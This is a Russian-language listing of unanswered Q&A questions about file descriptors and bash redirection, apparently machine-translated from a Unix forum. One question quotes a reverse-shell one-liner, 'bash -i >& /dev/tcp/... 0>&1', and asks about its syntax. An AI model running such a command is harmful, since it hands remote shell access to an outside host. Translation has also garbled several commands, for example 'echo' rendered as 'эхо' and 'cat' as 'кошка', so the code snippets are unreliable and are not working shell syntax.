0
ответов

On `tty <&1 `vs `echo $ (tty <&1 )`vs `echo $ (tty <&2)`

Ключевые операторы во фрагменте ниже (, т. е. кроме операторов для печати меток и пустых строк, для интервалов )идут парами. В каждой паре первый и второй операторы имеют формы tty... и echo $(tty... )соответственно. эхо стандартный ввод :телетайп эхо $
07.10.2021
0
ответов

Команда dd занимала много места на диске, когда просто копировала открытый файл из файлового дескриптора

У меня открыто более 30 процессов qemu -kvm с разными изображениями. Их изображения были случайно удалены. Я искал и обнаружил, что файл все еще открыт в процессе. Можно еще...
07.08.2021
0
ответов

Перенаправление всех файловых дескрипторов в файл

Перенаправить вывод из известных файловых дескрипторов в файл так же просто, как./binary 1>./file 2>&1 Но, скажем, у меня есть двоичный файл, который может использовать файловые дескрипторы, отличные от 0, 1 и 2....
19.07.2021
0
ответов

Bash :Разница между командой вставки с подстановкой команд и FD FIFO

Я просто пытаюсь понять, почему, когда я использую пару FIFO FD в команде вставки, я получаю «сломанную трубу», но когда я использую подстановку команд, все в порядке. Немного предыстории :У меня есть потребность...
07.07.2021
0
ответов

Блокируются ли вызовы ioctl?

Я пишу код для интерфейса libgpiod. Например, я хочу установить линию для высокого вывода. Под капотом libgpiod открывает fd, предоставленный ядром для строки, а затем вызывает ioctl (fd,...
01.07.2021
0
ответов

Как закрыть дескриптор именованного файла, не закрывая стандартный ввод/стандартный вывод?

exec {ec}< < (echo "помещает 'привет'" )&& sudo ruby ​​/proc/$$/fd/${ec} Как только я закрываю его с помощью exec <&"${ec}" -Оболочка завершает работу. В другой ситуации создаю...
17.04.2021
0
ответов

почему там "0>&1"?

Я все еще пытаюсь понять, как работает эта команда? bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 Я где-то выяснил, что 0>&1 означает, что STDIN отправляется через соединение,...
26.01.2021
0
ответов

Разница между >&/dev/null и &>/dev/null

Я пытался найти информацию о порядке оператора в выражении >&/dev/null Есть ли разница между >& и &>?
20.01.2021
0
ответов

Несоответствие /dev/fd

Чем объясняется следующее несоответствие в сообщениях о содержимом /dev/fd? erhannis@mnode6 :/dev/fd$ ll /dev/fd/ всего 0 dr -x ------2 erhannis erhannis 0 12 января 22 :10. dr -xr -xr -x 9 erhannis...
13.01.2021
0
ответов

Как Linux управляет смещениями файлов

Прочитав этот пост :https://stackoverflow.com/questions/14189944/unix-system-file-tables, я в основном понял, как Linux управляет файлами. Но я не знаю, как управлять смещениями...
12.11.2020
0
ответов

Посмотрите, куда перенаправляется вывод процесса

У меня есть процесс, вывод которого должен быть перенаправлен на output.txt. К сожалению, вывод не идет в этот файл. Сначала я проверил, вызывал ли я его из другого каталога, но результата нет....
20.10.2020
0
ответов

Будет ли ядро ​​хранить весь файл, в который какой-то процесс записывает

После постановки этого вопроса я как-то в замешательстве от действия ядра linxu. Во-первых, я знаю, как процесс записывает строки в файл :процесс получит какой-то буфер, буфер может быть...
14.10.2020
0
ответов

Для файлового дескриптора каталога dfd можно ли предотвратить перемещение вверх, как в openat (dfd, "..",... )?

У меня есть пользовательский $service с каталогом /srv/$service/subdir. /srv/$service имеет режим 0700, т.е. доступен только $service. Этот пользователь может открыть файловый дескриптор каталога в …/subdir или любой...
14.09.2020
0
ответов

Проверить, ссылается ли файловый дескриптор на удаленный файл (в Bash)

Я хотел бы проверить, удален ли файл, на который указывает файловый дескриптор, в Bash (linux ). Я прочитал как Проверка правильности файлового дескриптора, так и Проверка правильности файлового дескриптора (для ввода )....
13.06.2020
0
ответов
0
ответов

Какое отношение файловый дескриптор имеет к таблице процессов?

Меня интересуют операционные системы. Поэтому я читаю книгу xv6, чтобы понять операционные системы. Это моя первая книга на эту тему. Я прочитал строчку, которую не понял. Внутри xv6 ...
14.01.2020
0
ответов

Не удается внедрить файл cat .pem в качестве опции -i для ssh

Я получаю следующую ошибку: Предупреждение: Файл идентификации /dev/fd/63 недоступен: неверный файловый дескриптор. при выполнении этой команды: ssh -Y (скрытый) -i <(...
24.09.2019
0
ответов

Ошибка перенаправления на именованный файловый дескриптор внутри функций

В Bash есть функция, позволяющая выбрать для вас номер файлового дескриптора и присвоить его переменной. $ exec {fd}>foo.txt $ эхо "$ fd" 11 $ эхо "бар" >&$fd $ кошка foo.txt bar Эта функция ...
01.06.2019
0
ответов

Как действие закрытия дескрипторов общих файлов с помощью процесса заблокированного от записи вызывает его разблокировать?

с учетом нескольких процессов, разветвленных из родительского процесса с общими дескрипторами файлов (представляющий собой STDOUT / STDERR), если один из Процессы записывают на STDOUT и превышают буфер ~ 64 k, который он будет блокировать (как ...
28.09.2018
0
ответов

Можете ли вы найти дескриптор файла, принадлежащий другому процессу как root?

Существует метод поиска с помощью дескриптора файла в C, int fseek (FILE * stream, long offset, int wherence ); В fdinfo также есть файл для каждого дескриптора файла, cat / proc / self / fdinfo / 2 pos: 0 flags: ...
25.01.2018
0
ответов

Исправлено ли количество fd различных оболочек?

Скажем: xb @ dnxb: / tmp $ echo 'ls -l / proc / $$ / fd | grep a.sh '> a.sh; \ > пока IFS = '' читать -r f; делать \ > echo "$ f"; "$ f" a.sh; \ > сделано <<(tail -n +2 / etc / shells) / bin / sh lr-x ------...
24.01.2018
0
ответов

Поддерживает ли unix / linux список всех свободных файловых дескрипторов?

Я читаю «Системное программирование Linux» Роберта Лава и пытаюсь понять концепцию файловых дескрипторов. Он упоминает, что дескрипторы файлов начинаются с 0 и увеличиваются на единицу меньше этого максимума. ...
03.01.2018
0
ответов

Как передать псевдофайл дочерней программе?

Я использую Cygwin - нет, пока не закрывайте - и у меня проблемы с синтаксисом <() . Программа отказывается принимать файловый дескриптор, который я ей передаю, но другие программы принимают его нормально. ...
16.11.2017
0
ответов

Влияние на оператор оболочки канала на стандартный ввод, стандартный вывод и стандартный вывод

Когда я создаю канал с помощью оболочки, например: ls | cat Что я знаю точно, так это то, что стандартный ввод для cat будет стандартным выводом для ls (т.е. все, что ls записывает в свой стандартный вывод, cat будет его читать...
03.11.2017
0
ответов

cryptsetup - как он выводит приглашение, минуя перенаправление stdout / stdin?

Я только заметил, что независимо от того, какие FD cryptsetup перенаправляются в / dev / null, он все равно показывает запрос пароля. Например, здесь все еще отображается подсказка: cryptsetyp luksOpen / dev / sdXY name> / dev / null ...
21.10.2017
0
ответов

Должен ли дескриптор файла быть закрыт после использования?

Я делаю проект. Но я обнаружил, что в исходном коде очень много файловых дескрипторов осталось незакрытыми. При первом взгляде на это я подумал, что это нехорошо. После того, как я погуглил, кто-то сказал, если есть ...
05.10.2017
0
ответов

Почему перемещение вперед переключает файловую систему здесь?

Если я перейду в новый, пустой каталог ~$ cd "`mktemp -d`" и смонтирую там файловую систему /tmp/tmp.4MlNzMERSw$ sudo mount /dev/sda5 . а затем попытаюсь перечислить файлы там, я не вижу файлов на ...
20.06.2017
0
ответов

Общие сведения о / dev, его подкаталогах и файлах

$ ls -l / dev / stdin / dev / fd / 0 lrwx ------ 1 tim tim 64 07.08.2011, 09:53 / dev / fd / 0 -> / dev / pts / 2 lrwxrwxrwx 1 root root 15 2011-08-06 08:14 / dev / stdin -> / proc / self / fd / 0 $ ls -l / dev / pts / 2 / proc / ...
11.06.2017
0
ответов

Где разместить перенаправление оболочки Bash для команды? [дубликат]

Возможный дубликат: порядок перенаправления Помимо автономного exec> & 2 для перенаправления ввода и вывода текущей оболочки, есть ли какие-либо поведенческие различия в следующих командах: ...
13.04.2017
0
ответов

Как называется синтаксис bash '<(содержимое файла)'?

В этом ответе на Security StackExchange используется интересный синтаксис bash для генерации файла в строке: openssl req -new -x509 -nodes -newkey ec: <(openssl ecparam -name secp384r1) -keyout cert.key -out ...
17.03.2017